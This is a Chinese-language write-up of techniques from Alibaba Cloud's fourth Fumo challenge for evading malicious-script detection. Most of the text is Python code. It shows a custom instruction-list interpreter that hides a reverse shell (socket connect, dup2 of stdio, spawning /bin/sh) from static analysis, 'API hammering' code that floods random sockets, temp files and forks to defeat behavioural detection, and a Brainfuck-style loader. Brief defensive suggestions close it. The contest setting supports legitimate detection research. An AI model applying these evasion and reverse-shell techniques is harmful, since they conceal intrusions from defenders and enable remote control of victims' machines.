实现另一个“编程语言” - 记第四届伏魔挑战赛恶意脚本免杀
字数 1146 2025-08-29 08:29:41
伏魔挑战赛恶意脚本免杀技术深度解析
1. 伏魔挑战赛概述
伏魔挑战赛是阿里云举办的Webshell和恶意脚本免杀比赛,选手需要编写能够绕过伏魔引擎检测的恶意脚本。比赛特点:
- 奖金丰厚:每个不重复样本可获得400元奖金
- 检测技术先进:结合静态分析、行为检测和深度学习
- 难度逐年提升:相比前几届,检测能力显著增强
2. 伏魔引擎技术分析
2.1 检测技术组成
- 静态分析:解析代码结构,跟踪变量和函数调用
- 行为检测:监控系统调用和运行时行为
- 深度学习:基于模式识别的恶意代码检测
2.2 传统免杀手法失效原因
- 字符串拼接/替换:静态分析可解析执行得出最终值
- Base64编码:可被解码还原
- 动态函数调用:可被跟踪分析
- 数组映射(array_map):可被解析执行
3. 高级免杀技术详解
3.1 污染全局变量技术
# 传统赋值
a = 1
# 免杀赋值
globals()["a"] = 1 # 通过字典操作隐藏赋值行为
3.2 字符串格式化高级用法
class Data:
aaa = 114
# 通过对象属性访问隐藏真实意图
s = "{0.aaa}".format(Data()) # 输出114
3.3 自创编程语言技术(核心方法)
3.3.1 基本思路
将恶意脚本分为两部分:
- 解释器:用Python编写,负责解析执行
- 脚本:用自创语言编写实际恶意功能
3.3.2 实现示例
# 自创语言的"汇编"指令
actions = [
["set_val", "author", "Marven11"],
["set_val", "hp", ("127.0.0.1", 1234)],
["set_var_g", "hammer", "hammer"],
# 更多指令...
]
# 解释器实现
d = {}
for fn, *args in actions:
if fn == "set_val":
d[args[0]] = args[1]
elif fn == "set_var_g":
d[args[0]] = globals()[args[1]]
# 更多指令处理...
3.3.3 指令集设计
| 指令 | 功能 | 对应Python代码 |
|---|---|---|
| set_val | 设置常量 | var = value |
| set_var | 变量赋值 | a = b |
| getattr | 获取属性 | a = b.c |
| call | 函数调用 | a = func(args) |
| apply | 导入模块 | mod = __import__(name) |
3.4 API Hammering技术(绕过行为检测)
def hammer():
import random
file = None
n = random.randint(3000, 5000)
for _ in range(n):
p = random.random()
if p < 0.5:
import socket
socket.socket(2, 1) # 创建无用socket
elif p < 0.98:
import tempfile
if file and Path(file).exists():
Path(file).unlink()
file = tempfile.mktemp() # 创建临时文件
else:
import os
p = os.fork() # 创建无用进程
if p == 0: exit()
技术要点:
- 在关键操作之间插入大量无用系统调用
- 随机化调用类型和频率
- 干扰行为分析引擎的模式识别
4. 完整免杀流程示例
4.1 反弹Shell实现步骤
- 导入必要模块(隐蔽方式)
- 创建socket连接
- 重定向标准I/O
- 生成交互式shell
4.2 对应自创语言实现
actions = [
# 1. 导入os模块
["set_var_g", "im", "pprint"],
["getattr", "im", "__globals__"],
["getitem", "im", "__import__"],
["set_val", "oo", "os"],
["apply", "oo", "im"],
# 2. 创建socket连接
["set_val", "skt", "socket"],
["apply", "skt", "im"],
["set_var", "s", "skt"],
["getattr", "s", "socket"],
["call", "s", "2", "1"],
["getattr", "s_conn", "connect"],
["call", "s_conn", "hp"],
# 3. 重定向I/O
["getattr", "s_fno", "fileno"],
["call", "s_fno"],
["set_var", "dup", "oo"],
["getattr", "dup", "dup2"],
["call", "dup", "s_fno", "0"],
# 重复类似操作重定向stdout/stderr
# 4. 生成shell
["set_var", "spawn", "oo"],
["getattr", "spawn", "posix_spawn"],
["set_val", "sh", Path("/bin")],
["div", "sh", "sh"],
["tolist", "sh2"],
["call", "spawn", "sh", "sh2", "env"]
]
5. 其他高级技巧
5.1 基于AST的绕过思路
- 利用注释干扰AST解析
- 非常规代码结构破坏静态分析
5.2 第三届比赛技巧
# 类Brainfuck的自创语言实现
content = "39+9/*0+39+9/*3+19+9/*7+29+9/*1+29+9/*2+39+9/*6+6'@..."
class Loader:
def __init__(self, content):
self.content = content
def load(self):
# 实现解释器
stack = []
obst = []
while p < len(content):
c = content[p]
if c.isdigit():
stack.append(int(c))
elif c == "+":
stack.append(stack.pop() + stack.pop())
# 更多指令处理...
return output
6. 防御建议
对于防御方,可从以下方面加强检测:
- 增强解释器模式识别能力
- 分析API调用序列的语义
- 检测异常的系统调用密度
- 监控非常规的代码结构
7. 总结
本文详细分析了伏魔挑战赛中的高级免杀技术,核心要点包括:
- 通过自创编程语言绕过静态分析
- 使用API Hammering干扰行为检测
- 利用Python高级特性隐藏恶意行为
- 分阶段实现复杂功能避免模式匹配
这些技术展示了现代恶意脚本与检测引擎对抗的复杂性和技术深度。